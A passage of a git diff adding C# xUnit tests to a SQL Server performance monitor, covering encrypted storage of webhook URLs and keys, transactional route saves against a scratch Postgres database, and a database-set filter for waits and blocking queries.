-        var load = ViewerTypedRangeTests.StripComments(ViewerTypedRangeTests.MemberText(source, "GetAlertHistoryAsync"));
+        var load = ViewerTypedRangeTests.StripComments(ViewerTypedRangeTests.MemberText(source, "GetAlertHistoryWindowAsync"));
 
         /* The active-clock ForDisplay by its exact name: FormatForDisplay is the renderer that takes the row's zone (#4766). */
         Assert.DoesNotMatch(@"\bForDisplay\b", display);
diff --git a/Darling/Darling.Tests/ViewerW2aTests.cs b/Darling/Darling.Tests/ViewerW2aTests.cs
index 920f45446f..1136a4da73 100644
--- a/Darling/Darling.Tests/ViewerW2aTests.cs
+++ b/Darling/Darling.Tests/ViewerW2aTests.cs
@@ -346,7 +346,7 @@ public void MemoryDisplay_NoData_IsDashes()
     public void LastCollectionDisplay_TreatsStoredValueAsUtc_ShownLocal()
     {
         var storedUtc = new DateTime(2026, 7, 3, 3, 30, 45, DateTimeKind.Unspecified);
-        var expected = DateTime.SpecifyKind(storedUtc, DateTimeKind.Utc).ToLocalTime().ToString("HH:mm:ss");
+        var expected = DateTime.SpecifyKind(storedUtc, DateTimeKind.Utc).ToLocalTime().ToString("yyyy-MM-dd HH:mm:ss");
         Assert.Equal(expected, new ServerSummaryItem { LastCollectionTime = storedUtc }.LastCollectionDisplay);
     }
 
@@ -367,6 +367,32 @@ public void CountDisplays_MirrorLite()
         Assert.False(new ServerSummaryItem().HasAlerts);
     }
 
+    [Fact]
+    public void OfflineCard_DeadlockDetailAndHasAlerts_ReadAsNoCurrentData()
+    {
+        /* Round-1 L7: the values read "--" while the detail line and the alert flag still carried the old counts. */
+        var online = new ServerSummaryItem
+        {
+            IsOnline = true,
+            BlockingCount = 2,
+            DeadlockCount = 3,
+            LastDeadlockMinutesAgo = 10,
+        };
+        Assert.NotEqual("", online.DeadlockDetail);
+        Assert.True(online.HasAlerts);
+
+        var offline = new ServerSummaryItem
+        {
+            IsOnline = false,
+            BlockingCount = 2,
+            DeadlockCount = 3,
+            LastDeadlockMinutesAgo = 10,
+        };
+        Assert.Equal("--", offline.DeadlockDisplay);
+        Assert.Equal("", offline.DeadlockDetail);
+        Assert.False(offline.HasAlerts);
+    }
+
     [Fact]
     public void CardBorderBrush_RedForDeadlock_DefaultOtherwise()
     {
diff --git a/Darling/Darling.Tests/ViewerWebhookSealLiveTests.cs b/Darling/Darling.Tests/ViewerWebhookSealLiveTests.cs
new file mode 100644
index 0000000000..351f3a1f51
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerWebhookSealLiveTests.cs
@@ -0,0 +1,222 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches another
+   test's rows, so it is deliberately NOT [Collection("live-postgres")]. */
+
+/// <summary>
+/// #5366 against a real store: a route saved with a sealed destination still lists its channel in the presence column and is
+/// opened by the service read; the one-transaction route save leaves no row behind when the second statement fails or a value
+/// is refused; and the control-plane migration waits (and moves nothing) when the service has published no key.
+/// </summary>
+public sealed class ViewerWebhookSealLiveTests
+{
+    private const string SlackUrl = "https://example.test/slack-not-real";
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task MigrateStoreAsync(ScratchPostgres scratch, System.Threading.CancellationToken ct)
+    {
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+    }
+
+    private static async Task<long> RouteCountAsync(ScratchPostgres scratch, System.Threading.CancellationToken ct)
+    {
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await using var command = new NpgsqlCommand("SELECT count(*) FROM config.config_notification_routes", connection);
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct), System.Globalization.CultureInfo.InvariantCulture);
+    }
+
+    [Fact]
+    public async Task ASealedRoute_StillListsItsChannel_AndTheServiceReadOpensIt()
+    {
+        var baseConnectionString = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live webhook seal checks.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        using var key = PasswordPrivateKey.Generate();
+        var bodySucceeded = false;
+        try
+        {
+            await MigrateStoreAsync(scratch, ct);
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+            var sealer = new ViewerPasswordSealer(key.PublicKey);
+
+            var typed = new NotificationRouteRow { MetricMatch = "High CPU", SlackUrl = SlackUrl };
+            var routeId = await viewer.SaveNotificationRouteSealedAsync(typed, null, new NotificationRow(), sealer, null, ct);
+
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await using var command = new NpgsqlCommand(
+                    "SELECT slack_url, configured_channels FROM config.config_notification_routes WHERE route_id = $1", connection);
+                command.Parameters.AddWithValue(routeId);
+                await using var reader = await command.ExecuteReaderAsync(ct);
+                Assert.True(await reader.ReadAsync(ct));
+                Assert.True(PasswordSeal.IsSealed(reader.GetString(0)));
+                Assert.DoesNotContain("example.test", reader.GetString(0), StringComparison.Ordinal);
+                Assert.Equal(new[] { "Slack" }, reader.GetFieldValue<string[]>(1));
+            }
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var view = await new StoreConfigProvider(postgres).LoadViewAsync(new DarlingConfig(), ct);
+            Assert.NotNull(view);
+            var read = Assert.Single(view!.NotificationRoutes, r => r.RouteId == routeId);
+            Assert.True(PasswordSeal.IsSealed(read.SlackUrl));
+            var opened = DarlingWebhookSecrets.Open(new WebhooksConfig(), new[] { read }, DarlingPasswordKey.FromPrivateKey(key));
+            Assert.Equal(SlackUrl, Assert.Single(opened.Routes).SlackUrl);
+            Assert.Empty(opened.Failures);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+
+    [Fact]
+    public async Task TheRouteSave_IsOneTransaction_AFailedUpdateOrARefusedValueLeavesNoRow()
+    {
+        var baseConnectionString = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live webhook seal checks.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        using var key = PasswordPrivateKey.Generate();
+        var bodySucceeded = false;
+        try
+        {
+            await MigrateStoreAsync(scratch, ct);
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+            var sealer = new ViewerPasswordSealer(key.PublicKey);
+            var before = await RouteCountAsync(scratch, ct);
+
+            /* A typed value with no key to seal it: refused after the INSERT, so the INSERT is rolled back. */
+            var refused = new NotificationRouteRow { MetricMatch = "High CPU", SlackUrl = SlackUrl };
+            await Assert.ThrowsAsync<ViewerPasswordRefusedException>(
+                () => viewer.SaveNotificationRouteSealedAsync(refused, null, new NotificationRow(), null, "No key.", ct));
+            Assert.Equal(before, await RouteCountAsync(scratch, ct));
+
+            /* The UPDATE itself fails: a trigger on the scratch store raises on every update. */
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await using var ddl = new NpgsqlCommand(@"
+CREATE FUNCTION config.fail_route_update() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN RAISE EXCEPTION 'update refused for the test'; END $$;
+CREATE TRIGGER fail_route_update BEFORE UPDATE ON config.config_notification_routes FOR EACH ROW EXECUTE FUNCTION config.fail_route_update();", connection);
+                await ddl.ExecuteNonQueryAsync(ct);
+            }
+
+            var typed = new NotificationRouteRow { MetricMatch = "High CPU", SlackUrl = SlackUrl };
+            await Assert.ThrowsAsync<PostgresException>(
+                () => viewer.SaveNotificationRouteSealedAsync(typed, null, new NotificationRow(), sealer, null, ct));
+            Assert.Equal(before, await RouteCountAsync(scratch, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+
+    [Fact]
+    public async Task TheMigration_WithNoPublishedKey_WaitsAndLeavesTheUrlsAsTheyWere()
+    {
+        var baseConnectionString = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live webhook seal checks.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await MigrateStoreAsync(scratch, ct);
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+            var row = new NotificationRow { TeamsUrl = "https://example.test/teams-not-real", SlackUrl = SlackUrl };
+
+            var outcome = await ViewerControlPlaneMigration.SealWebhookValuesAsync(viewer, row, ct);
+
+            Assert.Equal(ViewerControlPlaneMigration.SmtpSealOutcome.NoKey, outcome);
+            Assert.Equal("https://example.test/teams-not-real", row.TeamsUrl);
+            Assert.Equal(SlackUrl, row.SlackUrl);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+
+    [Fact]
+    public async Task TheMigration_WithNoUrlsToMove_NeedsNoKey()
+    {
+        var row = new NotificationRow();
+
+        var outcome = await ViewerControlPlaneMigration.SealWebhookValuesAsync(null!, row, TestContext.Current.CancellationToken);
+
+        Assert.Equal(ViewerControlPlaneMigration.SmtpSealOutcome.Done, outcome);
+    }
+
+    [Fact]
+    public void TheMigrationSeal_BindsTheUrlsToTheSettingsRowAndEachChannelsProxy()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var row = new NotificationRow
+        {
+            TeamsUrl = "https://example.test/teams-not-real", TeamsProxy = "http://proxy.example:8080",
+            SlackUrl = SlackUrl, SlackProxy = "",
+        };
+
+        ViewerControlPlaneMigration.SealWebhookValues(row, new ViewerPasswordSealer(key.PublicKey));
+
+        Assert.True(PasswordSeal.IsSealed(row.TeamsUrl));
+        Assert.True(PasswordSeal.IsSealed(row.SlackUrl));
+        Assert.Equal(
+            "https://example.test/teams-not-real",
+            PasswordSeal.Open(row.TeamsUrl, key, PasswordBinding.ForWebhook("teams", PasswordBinding.WebhookSettingsRow, "http://proxy.example:8080", null)));
+        Assert.Equal(
+            SlackUrl,
+            PasswordSeal.Open(row.SlackUrl, key, PasswordBinding.ForWebhook("slack", PasswordBinding.WebhookSettingsRow, "", null)));
+        Assert.Throws<PasswordSealException>(
+            () => PasswordSeal.Open(row.TeamsUrl, key, PasswordBinding.ForWebhook("teams", PasswordBinding.WebhookSettingsRow, "", null)));
+    }
+
+    [Fact]
+    public void TheMigrationSeal_OneUrlThatCannotBeStored_DoesNotStopTheOther()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var row = new NotificationRow { TeamsUrl = "https://example.test/teams\uD800", SlackUrl = SlackUrl };
+
+        ViewerControlPlaneMigration.SealWebhookValues(row, new ViewerPasswordSealer(key.PublicKey));
+
+        Assert.Equal("", row.TeamsUrl);
+        Assert.True(PasswordSeal.IsSealed(row.SlackUrl));
+        Assert.True(new[] { row.TeamsUrl, row.SlackUrl }.All(v => !v.Contains("example.test", StringComparison.Ordinal)));
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerWebhookSealingTests.cs b/Darling/Darling.Tests/ViewerWebhookSealingTests.cs
new file mode 100644
index 0000000000..215f5a7810
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerWebhookSealingTests.cs
@@ -0,0 +1,239 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5366: what the viewer stores for the webhook URLs, the PagerDuty routing key and the generic headers. A typed value is
+/// sealed for its slot, row, proxy and (headers) generic URL; a blank box keeps the saved sealed value; a lone dash removes it.
+/// </summary>
+public sealed class ViewerWebhookSealingTests
+{
+    private const string TeamsUrl = "https://example.test/teams-not-real";
+
+    private static string Seal(PasswordPrivateKey key, string value, string slot, string row, string proxy = "", string url = "") =>
+        PasswordSeal.Seal(value, key.PublicKey, PasswordBinding.ForWebhook(slot, row, proxy, url));
+
+    [Fact]
+    public void ATypedValue_IsSealedForTheSettingsRowAndItsProxy_AndOpensOnlyThere()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var row = new NotificationRow { TeamsUrl = TeamsUrl, TeamsProxy = "http://proxy.example:8080" };
+
+        ViewerWebhookSealing.ResolveSettingsRow(row, null, new ViewerPasswordSealer(key.PublicKey), null);
+
+        Assert.True(PasswordSeal.IsSealed(row.TeamsUrl));
+        Assert.DoesNotContain("example.test", row.TeamsUrl, StringComparison.Ordinal);
+        Assert.Equal(TeamsUrl, PasswordSeal.Open(row.TeamsUrl, key, PasswordBinding.ForWebhook("teams", "notification", "http://proxy.example:8080", null)));
+        Assert.Throws<PasswordSealException>(() => PasswordSeal.Open(row.TeamsUrl, key, PasswordBinding.ForWebhook("teams", "route:1", "http://proxy.example:8080", null)));
+        Assert.Throws<PasswordSealException>(() => PasswordSeal.Open(row.TeamsUrl, key, PasswordBinding.ForWebhook("teams", "notification", "", null)));
+    }
+
+    [Fact]
+    public void TheGenericHeaders_AreSealedOverTheStoredGenericUrlText()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var row = new NotificationRow { GenericUrl = "https://example.test/generic-not-real", GenericHeaders = "{\"X-Key\":\"not-real\"}" };
+
+        ViewerWebhookSealing.ResolveSettingsRow(row, null, new ViewerPasswordSealer(key.PublicKey), null);
+
+        Assert.Equal(
+            "{\"X-Key\":\"not-real\"}",
+            PasswordSeal.Open(row.GenericHeaders, key, PasswordBinding.ForWebhook("generic_headers", "notification", "", row.GenericUrl)));
+    }
+
+    [Fact]
+    public void ABlankBox_KeepsTheSavedValue_AndNeedsNoKey()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var saved = Seal(key, TeamsUrl, "teams", "notification");
+        var stored = new NotificationRow { TeamsUrl = saved };
+        var row = new NotificationRow { TeamsUrl = ViewerWebhookSealing.CarryKept("  ", stored.TeamsUrl) };
+
+        Assert.False(ViewerWebhookSealing.NeedsKey(row, stored));
+        ViewerWebhookSealing.ResolveSettingsRow(row, stored, null, "No key.");
+
+        Assert.Equal(saved, row.TeamsUrl);
+        Assert.Equal("", ViewerWebhookSealing.ShownText(saved));
+    }
+
+    [Fact]
+    public void ALoneDash_RemovesTheSavedValue()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var stored = new NotificationRow { SlackUrl = Seal(key, "https://example.test/slack", "slack", "notification") };
+        var row = new NotificationRow { SlackUrl = ViewerWebhookSealing.CarryKept("-", stored.SlackUrl) };
+
+        ViewerWebhookSealing.ResolveSettingsRow(row, stored, null, null);
+
+        Assert.Equal("", row.SlackUrl);
+    }
+
+    [Fact]
+    public void ALegacyPlaintextValue_IsShownAndSealedOnSave()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var stored = new NotificationRow { PagerDutyRoutingKey = "pd-key-not-real" };
+        Assert.Equal("pd-key-not-real", ViewerWebhookSealing.ShownText(stored.PagerDutyRoutingKey));
+        var row = new NotificationRow { PagerDutyRoutingKey = ViewerWebhookSealing.CarryKept("pd-key-not-real", stored.PagerDutyRoutingKey) };
+
+        ViewerWebhookSealing.ResolveSettingsRow(row, stored, new ViewerPasswordSealer(key.PublicKey), null);
+
+        Assert.True(PasswordSeal.IsSealed(row.PagerDutyRoutingKey));
+    }
+
+    [Fact]
+    public void AChangedProxy_RefusesToKeepTheSavedValue()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var stored = new NotificationRow { TeamsUrl = Seal(key, TeamsUrl, "teams", "notification", "http://a.example:1"), TeamsProxy = "http://a.example:1" };
+        var row = new NotificationRow { TeamsUrl = stored.TeamsUrl, TeamsProxy = "http://b.example:2" };
+
+        var ex = Assert.Throws<ViewerPasswordRefusedException>(() => ViewerWebhookSealing.ResolveSettingsRow(row, stored, null, null));
+
+        Assert.Equal("Enter the Teams webhook URL again: its proxy changed.", ex.Message);
+    }
+
+    [Fact]
+    public void ANewGenericUrl_RefusesToKeepTheSavedHeaders()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var url = Seal(key, "https://example.test/generic", "generic", "notification");
+        var stored = new NotificationRow { GenericUrl = url, GenericHeaders = Seal(key, "{}", "generic_headers", "notification", "", url) };
+        var row = new NotificationRow { GenericUrl = "https://example.test/other", GenericHeaders = stored.GenericHeaders };
+
+        var ex = Assert.Throws<ViewerPasswordRefusedException>(
+            () => ViewerWebhookSealing.ResolveSettingsRow(row, stored, new ViewerPasswordSealer(key.PublicKey), null));
+
+        Assert.Equal("Enter the generic webhook headers again: the generic webhook URL changed.", ex.Message);
+    }
+
+    [Fact]
+    public void ALoneSurrogate_IsRefusedBeforeSealing()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var row = new NotificationRow { SlackUrl = "https://example.test/\ud800" };
+
+        var ex = Assert.Throws<ViewerPasswordRefusedException>(
+            () => ViewerWebhookSealing.ResolveSettingsRow(row, null, new ViewerPasswordSealer(key.PublicKey), null));
+
+        Assert.Contains("cannot be stored", ex.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void WithoutAKey_ATypedValueIsRefusedWithTheReason()
+    {
+        var row = new NotificationRow { SlackUrl = "https://example.test/slack" };
+
+        var ex = Assert.Throws<ViewerPasswordRefusedException>(() => ViewerWebhookSealing.ResolveSettingsRow(row, null, null, "No key here."));
+
+        Assert.Equal("No key here.", ex.Message);
+    }
+
+    [Fact]
+    public void ARouteValue_IsSealedForItsRowAndTheParentsProxy()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var parent = new NotificationRow { SlackProxy = "http://proxy.example:8080" };
+        var route = new NotificationRouteRow { SlackUrl = "https://example.test/slack-route", SmtpRecipients = "" };
+
+        ViewerWebhookSealing.ResolveRoute(route, null, parent, 9, new ViewerPasswordSealer(key.PublicKey), null);
+
+        Assert.Equal(
+            "https://example.test/slack-route",
+            PasswordSeal.Open(route.SlackUrl, key, PasswordBinding.ForWebhook("slack", "route:9", "http://proxy.example:8080", null)));
+        Assert.Throws<PasswordSealException>(() => PasswordSeal.Open(route.SlackUrl, key, PasswordBinding.ForWebhook("slack", "route:8", "http://proxy.example:8080", null)));
+    }
+
+    [Fact]
+    public void ARouteThatKeepsItsValue_NeedsNoKey()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var stored = new NotificationRouteRow { RouteId = 4, TeamsUrl = Seal(key, TeamsUrl, "teams", "route:4") };
+        var route = stored.Clone();
+        route.TeamsUrl = ViewerWebhookSealing.CarryKept("", stored.TeamsUrl);
+
+        Assert.False(ViewerWebhookSealing.NeedsKey(route, stored));
+        ViewerWebhookSealing.ResolveRoute(route, stored, new NotificationRow(), 4, null, null);
+
+        Assert.Equal(stored.TeamsUrl, route.TeamsUrl);
+    }
+
+    [Fact]
+    public void AChangedProxy_WithARouteValueSealedForTheOldProxy_SaysSoOnSave()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var stored = new NotificationRow { SlackProxy = "http://proxy.example:8080" };
+        var row = new NotificationRow { SlackProxy = "http://other-proxy.example:3128" };
+        var routes = new[]
+        {
+            new NotificationRouteRow { RouteId = 4, MetricMatch = "High CPU", SlackUrl = Seal(key, TeamsUrl, "slack", "route:4", "http://proxy.example:8080") },
+        };
+
+        Assert.True(ViewerWebhookSealing.RouteValuesNeedEnteringAgain(stored, row, routes));
+        Assert.Equal(
+            "Route webhook values were saved for the old proxy. Enter them again on each route.",
+            ViewerWebhookSealing.RouteValuesNeedEnteringAgainText);
+    }
+
+    [Fact]
+    public void AProxyChange_WithNoSealedRouteValueForThatChannel_SaysNothing()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var stored = new NotificationRow { SlackProxy = "http://proxy.example:8080", TeamsProxy = "" };
+        var row = new NotificationRow { SlackProxy = "http://other-proxy.example:3128", TeamsProxy = "" };
+        var routes = new[]
+        {
+            /* A Teams value (its proxy did not change) and a legacy plaintext Slack value (not bound to a proxy). */
+            new NotificationRouteRow { RouteId = 4, MetricMatch = "High CPU", TeamsUrl = Seal(key, TeamsUrl, "teams", "route:4") },
+            new NotificationRouteRow { RouteId = 5, MetricMatch = "Low Memory", SlackUrl = "https://example.test/slack-legacy" },
+        };
+
+        Assert.False(ViewerWebhookSealing.RouteValuesNeedEnteringAgain(stored, row, routes));
+        Assert.False(ViewerWebhookSealing.RouteValuesNeedEnteringAgain(null, row, routes));
+        Assert.False(ViewerWebhookSealing.RouteValuesNeedEnteringAgain(stored, stored, routes));
+    }
+
+    [Fact]
+    public void ABlankTestBox_ForASavedValue_SaysItCannotBeTested_AndATypedOrUnsavedOneGoesAhead()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var saved = Seal(key, TeamsUrl, "teams", "notification");
+
+        var text = ViewerWebhookSealing.CannotTestSavedValueText("", saved, "Teams webhook URL");
+
+        Assert.Equal(
+            "The Teams webhook URL is saved, and a saved value cannot be tested from here. Type the Teams webhook URL to test it.",
+            text);
+        Assert.DoesNotContain("sealed:", text, StringComparison.Ordinal);
+        Assert.Null(ViewerWebhookSealing.CannotTestSavedValueText(TeamsUrl, saved, "Teams webhook URL"));
+        Assert.Null(ViewerWebhookSealing.CannotTestSavedValueText("", "", "Teams webhook URL"));
+        Assert.Null(ViewerWebhookSealing.CannotTestSavedValueText("", "https://example.test/legacy-plaintext", "Teams webhook URL"));
+    }
+
+    [Fact]
+    public void NewGenericHeaders_WithABlankUrlBoxAndASavedUrl_AskForTheUrlAgain()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var savedUrl = Seal(key, "https://example.test/generic-not-real", "generic", "notification");
+        var savedHeaders = Seal(key, "{\"X-Key\":\"not-real\"}", "generic_headers", "notification", url: savedUrl);
+
+        Assert.True(ViewerWebhookSealing.HeadersNeedUrlRetyped("{\"X-Key\":\"changed-not-real\"}", "", savedHeaders, savedUrl));
+        Assert.True(ViewerWebhookSealing.HeadersNeedUrlRetyped("{\"X-Key\":\"new-not-real\"}", "  ", null, savedUrl));
+        Assert.False(ViewerWebhookSealing.HeadersNeedUrlRetyped("{\"X-Key\":\"changed-not-real\"}", "https://example.test/generic-not-real", savedHeaders, savedUrl));
+        Assert.False(ViewerWebhookSealing.HeadersNeedUrlRetyped("", "", savedHeaders, savedUrl));
+        Assert.False(ViewerWebhookSealing.HeadersNeedUrlRetyped(ViewerWebhookSealing.ClearMarker, "", savedHeaders, savedUrl));
+        Assert.False(ViewerWebhookSealing.HeadersNeedUrlRetyped("{\"X-Key\":\"new-not-real\"}", "", null, null));
+        Assert.Equal("Type the generic webhook URL again to change its headers.", ViewerWebhookSealing.RetypeUrlForHeadersText);
+    }
+}
diff --git a/Darling/Darling.Tests/WaitDrillDownPlanFetchGuardTests.cs b/Darling/Darling.Tests/WaitDrillDownPlanFetchGuardTests.cs
index 318586970e..c721f5a268 100644
--- a/Darling/Darling.Tests/WaitDrillDownPlanFetchGuardTests.cs
+++ b/Darling/Darling.Tests/WaitDrillDownPlanFetchGuardTests.cs
@@ -40,6 +40,7 @@ namespace Darling.Tests;
 /// unguarded (the pre-fix shape) and running this pin alone fails at the "preceded by a try" assertion for
 /// that handler; restoring the guard turns it green again.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class WaitDrillDownPlanFetchGuardTests
 {
     private static readonly Regex TryKeyword = new(@"\btry\b");
diff --git a/Darling/Darling.Tests/WaitsDatabaseFilterLiveTests.cs b/Darling/Darling.Tests/WaitsDatabaseFilterLiveTests.cs
new file mode 100644
index 0000000000..e3a676f4f0
--- /dev/null
+++ b/Darling/Darling.Tests/WaitsDatabaseFilterLiveTests.cs
@@ -0,0 +1,535 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5244 (PR3, lane R2): the waits-and-blocking reads take a SET of databases. Three reads, each with a reader overload that
+/// takes a <see cref="DatabaseFilter"/> and a tool overload that does the same: get_blocking_stats (the BLOCKING series
+/// only: deadlocks have no database here), get_current_waits_trend (the blocked-session series only) and get_waiting_tasks.
+/// Each public method keeps passing one name, or all databases, until the W lane adds the parameter.
+///
+/// <para>The seed is three databases (A, B and C) per read, so [A, B] must return A's and B's rows and none of C's. The empty
+/// paths are pinned too ([M4]): a filtered miss must not read as a clean bill for databases the read never looked at, and
+/// "never collected" must stay <c>unavailable</c>. Skips without <c>DARLING_TEST_PG</c>, like its siblings.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class WaitsDatabaseFilterLiveTests
+{
+    /* #1776 own-store: this class owns the rows of its two deterministic servers, seeds them itself and removes them. */
+    private const string ServerName = "darling-waits-dbfilter-e2e";
+    private const string DmvOnlyServerName = "darling-waits-dbfilter-dmvonly-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static readonly int DmvOnlyServerId = ServerIdHelper.GetDeterministicHashCode(DmvOnlyServerName);
+    private const string MixedServerName = "darling-waits-dbfilter-mixed-e2e";
+    private static readonly int MixedServerId = ServerIdHelper.GetDeterministicHashCode(MixedServerName);
+    private const string DbA = "WaitsDbA";
+    private const string DbB = "WaitsDbB";
+    private const string DbC = "WaitsDbC";
+    private const string DbD = "WaitsDbD";
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+    private const string SkipReason = "Set DARLING_TEST_PG to a Postgres connection string to run the live waits database-filter test.";
+
+    [Fact]
+    public void ReaderSql_IsTheListForm_WithNoNameSplicedIn()
+    {
+        Assert.Contains("($5::text[] IS NULL OR database_name = ANY($5))", DarlingSessionReader.WaitingTasksSql, StringComparison.Ordinal);
+        Assert.Contains("($4::text[] IS NULL OR database_name = ANY($4))", DarlingDataReader.BlockedSessionTrendSql, StringComparison.Ordinal);
+        /* Both arms of the blocking series carry it, and the source choice reads the FILTERED bpr (Lite's and get_blocking_trend's rule). */
+        var stats = DarlingDataReader.BlockingDurationStatsSql;
+        Assert.Equal(2, CountOf(stats, "($5::text[] IS NULL OR database_name = ANY($5))"));
+        Assert.Contains("NOT EXISTS (SELECT 1 FROM bpr)", stats, StringComparison.Ordinal);
+        Assert.DoesNotContain("xe_any", stats, StringComparison.Ordinal);
+        foreach (var sql in new[] { DarlingSessionReader.WaitingTasksSql, DarlingDataReader.BlockedSessionTrendSql, stats })
+        {
+            Assert.DoesNotContain("{{", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("::text IS NULL", sql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public async Task WaitingTasks_Reader_TwoNames_ReturnsOnlyThoseDatabases_TheCapAppliesAfterTheFilter()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var seed = await SeedAsync(cs!, ct);
+            var start = seed.End.AddHours(-1);
+
+            var ab = await DarlingSessionReader.GetWaitingTasksAsync(postgres, ServerId, start, seed.End, 100, DatabaseFilter.Of([DbA, DbB]), ct);
+            Assert.Equal(new[] { 51, 52, 71 }, ab.Select(r => r.SessionId).Order().ToArray());
+            Assert.All(ab, r => Assert.Contains(r.DatabaseName, new[] { DbA, DbB }));
+
+            /* The order of the names does not matter. */
+            var ba = await DarlingSessionReader.GetWaitingTasksAsync(postgres, ServerId, start, seed.End, 100, DatabaseFilter.Of([DbB, DbA]), ct);
+            Assert.Equal(ab.Select(r => r.SessionId), ba.Select(r => r.SessionId));
+
+            /* One name, All and the unchanged public method: the same page as before the list. */
+            var oneList = await DarlingSessionReader.GetWaitingTasksAsync(postgres, ServerId, start, seed.End, 100, DatabaseFilter.One(DbC), ct);
+            Assert.Equal(new[] { 70, 90 }, oneList.Select(r => r.SessionId).Order().ToArray());
+            var all = await DarlingSessionReader.GetWaitingTasksAsync(postgres, ServerId, start, seed.End, 100, DatabaseFilter.All, ct);
+            var plain = await DarlingSessionReader.GetWaitingTasksAsync(postgres, ServerId, start, seed.End, 100, ct);
+            Assert.Equal(5, all.Count);
+            Assert.Equal(all.Select(r => r.SessionId), plain.Select(r => r.SessionId));
+
